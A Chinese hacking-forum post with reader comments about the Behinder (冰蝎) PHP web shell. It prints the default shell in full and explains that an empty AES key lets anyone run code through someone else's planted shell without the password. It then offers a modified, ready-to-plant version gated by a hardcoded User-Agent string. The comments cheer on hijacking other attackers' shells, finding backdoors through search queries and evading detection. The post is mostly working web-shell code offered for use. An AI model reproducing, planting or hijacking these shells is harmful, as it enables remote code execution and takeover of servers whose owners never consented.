冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远
冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远
下面这个是默认的冰蝎马：
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
?>if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}我直接 通过 openssl_encrypt('|phpinfo();','AES128',''); 加密phpinfo。// key值 为空
然后echo 加密后的值，post 提交给冰蝎马。那么phpinfo();也会被执行成功。
造成我即使不知道密码我也能连接你的shell。
然后 稍微改一下 加一个 认证就好了。。。
我这里用ua做的认证，或者其他的也好。
使用方法就是 连接的时候把UA设置成：123321666 就可以了
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
if($_SERVER['HTTP_USER_AGENT'] == '123321666'){
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
}
?>关于作者
评论49次
我几千个冰蝎shell是不是都被你盗去做黄色网站跳转的？
这样是不是inurl:shell.php 就可以获得一堆后门...
这算是个冰蝎的后门不
想当年师傅祸害tpshop后就去吃鸡了，现在出来祸害冰蝎了。请务必继续！
本机测试ok 不需要密码可以执行命令…
楼主好，我怎么没测试成功~
自己看下报错，报错显示分割的问题…肯定是你加密的原数据有问题没加| 或者加密的事，加密不是 base64。是 aes128
眼瞅着要护网了，这不是要OT一篇机器
本机测试ok 不需要密码可以执行命令…
楼主好，我怎么没测试成功~
很少用到冰蝎 还是用大菜刀
哈哈哈哈 让人瑟瑟发抖
原本是暴菊，无意中又被人爆了，哈哈
这算是个冰蝎的后门不
终于有时间,本地复现了下. 下面应该做的就是特征字典了.
冰蝎作者笑而不语。
本地测试还真有这个问题，赶快去把手里的shell换了一下
默认的才有这个吧
这些shell还是自己验证，自己做个免杀自己用的安全
这都被你发现了 不给蝎子作者活路了呗。。。 话说大家用的大部分应该都是改良过的把
冰蝎作者笑而不语。
本机测试确实有这个问题
这…这岂不是可以白嫖别人的m？我赶紧去试一试，哈哈哈
这个真的算是黑吃黑了…
用别人的马让别人无马可用
现在的检测机制基本上都是GET传输那一块的数据或者是一些头特征，这两个地方如果删除的话就基本上没问题了
我几千个冰蝎shell是不是都被你盗去做黄色网站跳转的？